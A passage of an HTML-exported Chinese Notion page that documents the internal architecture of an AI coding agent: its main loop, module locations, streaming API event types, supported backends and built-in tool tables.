style="width:120px"><div class="notion-simple-table-cell">SESSION_ACCESS_TOKEN</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">远程会话</div></td></tr></tbody></table><hr class="notion-hr notion-block-31d0f0c5b87c80a1b452d854fd011a14"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-31d0f0c5b87c803bac7ced2afe42435b" data-id="31d0f0c5b87c803bac7ced2afe42435b"><span><div id="31d0f0c5b87c803bac7ced2afe42435b" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c803bac7ced2afe42435b" title="4. Agent循环架构"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">4. Agent循环架构</span></span></h3><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80c7ab00f8390315916d" data-id="31d0f0c5b87c80c7ab00f8390315916d"><span><div id="31d0f0c5b87c80c7ab00f8390315916d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80c7ab00f8390315916d" title="4.1 主循环流程图"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">4.1 主循环流程图</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80958285d67d574919f5" data-id="31d0f0c5b87c80958285d67d574919f5"><span><div id="31d0f0c5b87c80958285d67d574919f5" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80958285d67d574919f5" title="4.2 核心循环代码位置"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">4.2 核心循环代码位置</span></span></h4><table class="notion-simple-table notion-block-31d0f0c5b87c80229307e395c8bfcaf3"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-31d0f0c5b87c817285dbf2a8b3bc85b7"><td class="" style="width:120px"><div class="notion-simple-table-cell">组件</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">文件位置</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">函数/模块</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81ef8048c2f06b14551b"><td class="" style="width:120px"><div class="notion-simple-table-cell">主循环入口</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">3549.js</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">xC()</code></div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8104b746c1ca6a292fd5"><td class="" style="width:120px"><div class="notion-simple-table-cell">消息处理</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">3773.js</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">gzz()</code></div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81eb821ff25010c0d13f"><td class="" style="width:120px"><div class="notion-simple-table-cell">API 调用</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">4286.js</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">iSq()</code>, <code class="notion-inline-code">nS()</code></div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c816f96c5f3a811d728ce"><td class="" style="width:120px"><div class="notion-simple-table-cell">流处理</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">4286.js</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">事件循环 (行 621-813)</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c814d9efafed128f49963"><td class="" style="width:120px"><div class="notion-simple-table-cell">工具执行</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">3768.js</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">Da6</code> 类</div></td></tr></tbody></table><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c800ba0e6f0158d226dbe" data-id="31d0f0c5b87c800ba0e6f0158d226dbe"><span><div id="31d0f0c5b87c800ba0e6f0158d226dbe" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c800ba0e6f0158d226dbe" title="4.3 循环控制变量"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">4.3 循环控制变量</span></span></h4><hr class="notion-hr notion-block-31d0f0c5b87c80eba05fc2e777a96393"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-31d0f0c5b87c80b3bf6fccc9d6ee2f57" data-id="31d0f0c5b87c80b3bf6fccc9d6ee2f57"><span><div id="31d0f0c5b87c80b3bf6fccc9d6ee2f57" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80b3bf6fccc9d6ee2f57" title="5. API交互机制"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">5. API交互机制</span></span></h3><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c800f8221dd2765fc9f30" data-id="31d0f0c5b87c800f8221dd2765fc9f30"><span><div id="31d0f0c5b87c800f8221dd2765fc9f30" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c800f8221dd2765fc9f30" title="5.1 API 客户端创建"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">5.1 API 客户端创建</span></span></h4><div class="notion-text notion-block-31d0f0c5b87c80eaabacccf926f185dd"><b>位置</b>: 4286.js, 第 560-597 行</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80b6a6c7c1d469816106" data-id="31d0f0c5b87c80b6a6c7c1d469816106"><span><div id="31d0f0c5b87c80b6a6c7c1d469816106" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80b6a6c7c1d469816106" title="5.2 API 调用参数结构"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">5.2 API 调用参数结构</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80e7a933ffd9cdea8e8e" data-id="31d0f0c5b87c80e7a933ffd9cdea8e8e"><span><div id="31d0f0c5b87c80e7a933ffd9cdea8e8e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80e7a933ffd9cdea8e8e" title="5.3 流式事件类型详解"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">5.3 流式事件类型详解</span></span></h4><table class="notion-simple-table notion-block-31d0f0c5b87c80748edfe9abc53087c2"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-31d0f0c5b87c81b08f83c01d2f3a8eed"><td class="" style="width:120px"><div class="notion-simple-table-cell">事件类型</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">触发时机</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">处理动作</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81d59d62ec754f5d307b"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">message_start</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">流开始</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">初始化状态，记录 TTFT 开始时间</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8109b290f81f0da5082f"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">content_block_start</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">新内容块开始</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">创建块累积器</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8165b4f6f6213263ea30"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">content_block_delta</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">内容增量</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">追加文本/思考/工具输入</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81a0a615d5a207589931"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">thinking_delta</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">思考增量</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">更新思考缓冲区</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81c59bbbe920711b9718"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">content_block_stop</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">块结束</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">完成块，添加到响应</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c818bbf9df03a292470d8"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">message_delta</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">消息元数据更新</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">更新使用统计</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c811e820acdfc5fefcaa0"><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">message_stop</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">流结束</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">完成响应，触发回调</div></td></tr></tbody></table><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80d4ac1cd9cd76fcefde" data-id="31d0f0c5b87c80d4ac1cd9cd76fcefde"><span><div id="31d0f0c5b87c80d4ac1cd9cd76fcefde" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80d4ac1cd9cd76fcefde" title="5.4 流容错机制"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">5.4 流容错机制</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80dca264c6502740876c" data-id="31d0f0c5b87c80dca264c6502740876c"><span><div id="31d0f0c5b87c80dca264c6502740876c" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80dca264c6502740876c" title="5.5 多后端支持"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">5.5 多后端支持</span></span></h4><table class="notion-simple-table notion-block-31d0f0c5b87c80b3afc3d56f5d92a5d8"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-31d0f0c5b87c81cb910ac778f18fd235"><td class="" style="width:120px"><div class="notion-simple-table-cell">后端</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">检测函数</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Base URL</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">特殊处理</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81eeab5ed25c92c34cb9"><td class="" style="width:120px"><div class="notion-simple-table-cell">First Party</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">isFirstParty()</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">api.anthropic.com</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">完整功能支持</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c810a8c47ff1d821e2984"><td class="" style="width:120px"><div class="notion-simple-table-cell">Bedrock</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">isBedrock()</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">bedrock-runtime.*.amazonaws.com</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">推理配置文件</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c817c90ffc015b3c53a95"><td class="" style="width:120px"><div class="notion-simple-table-cell">Vertex AI</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">isVertex()</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">*-aiplatform.googleapis.com</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Beta 过滤</div></td></tr></tbody></table><hr class="notion-hr notion-block-31d0f0c5b87c806d9c21c38ae84f6c6d"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-31d0f0c5b87c8070a60ac0fbd2526f53" data-id="31d0f0c5b87c8070a60ac0fbd2526f53"><span><div id="31d0f0c5b87c8070a60ac0fbd2526f53" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c8070a60ac0fbd2526f53" title="6. 工具系统详解"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">6. 工具系统详解</span></span></h3><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c8020a564db8b09b447e4" data-id="31d0f0c5b87c8020a564db8b09b447e4"><span><div id="31d0f0c5b87c8020a564db8b09b447e4" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c8020a564db8b09b447e4" title="6.1 完整内置工具列表"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">6.1 完整内置工具列表</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80f6ae0ed5a1c4386ff9" data-id="31d0f0c5b87c80f6ae0ed5a1c4386ff9"><span><div id="31d0f0c5b87c80f6ae0ed5a1c4386ff9" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80f6ae0ed5a1c4386ff9" title="6.1.1 文件操作工具"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">6.1.1 文件操作工具</span></span></h4><table class="notion-simple-table notion-block-31d0f0c5b87c80bc94cff09a006c292d"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-31d0f0c5b87c81f18c5edcc916440cff"><td class="" style="width:120px"><div class="notion-simple-table-cell">工具名</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">模块ID</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">类型</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">并发安全</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">功能描述</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81b48dacf14a1bf57b5f"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Read</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">2545.js</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">只读</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">✓</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">读取文件、图片、PDF、Jupyter notebook</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c815abf5cf8edd7d42cd0"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Write</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">3643.js</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">写入</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">✗</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">创建或覆盖文件内容</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8107af34e3cdeefb9733"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Edit</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">4285.js</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">写入</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">✗</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">精确字符串替换编辑</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c816d9428e36acfa9caed"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>NotebookEdit</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">1245.js</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">写入</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">✗</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">编辑 Jupyter notebook 单元格</div></td></tr></tbody></table><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c8062beade9eb339b6ee7" data-id="31d0f0c5b87c8062beade9eb339b6ee7"><span><div id="31d0f0c5b87c8062beade9eb339b6ee7" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c8062beade9eb339b6ee7" title="6.1.2 搜索工具"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">6.1.2 搜索工具</span></span></h4><table class="notion-simple-table notion-block-31d0f0c5b87c80279bc7efb4214bb19a"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-31d0f0c5b87c8142b06ce42790fb937e"><td class="" style="width:120px"><div class="notion-simple-table-cell">工具名</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">模块ID</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">类型</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">并发安全</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">功能描述</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81d980d1e94cf72e9be0"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Glob</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">1244.js</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">只读</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">✓</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">文件模式匹配 (glob 语法)</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81e1a576e23a1e46feb8"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Grep</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">1244.js</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">只读</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">✓</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">基于 ripgrep 的正则搜索</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c816790bdf5e3aab3b667"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>LSP</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">3724.js</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">只读</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">✓</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">语言服务器协议代码分析</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8127895ad34116ab97ca"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>ToolSearch</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">2545.js</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">只读</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">✓</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">搜索可用工具</div></td></tr></tbody></table><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80acb869e75833c04be4" data-id="31d0f0c5b87c80acb869e75833c04be4"><span><div id="31d0f0c5b87c80acb869e75833c04be4" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80acb869e75833c04be4" title="6.1.3 网络工具"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">6.1.3 网络工具</span></span></h4><table class="notion-simple-table notion-block-31d0f0c5b87c8083ac7fd3e67ea7c3c9"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-31d0f0c5b87c81788f63d46f42b61a59"><td class="" style="width:120px"><div class="notion-simple-table-cell">工具名</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">模块ID</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">类型</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">并发安全</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">功能描述</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c816db843f2a193ca25a6"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>WebFetch</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">(条件)</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">只读</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">✓</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">获取网页内容并 AI 处理</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c816ab3daf37dd618ae61"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>WebSearch</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">(条件)</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">只读</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">✓</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">网页搜索</div></td></tr></tbody></table><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c8091bc46eb2734872787" 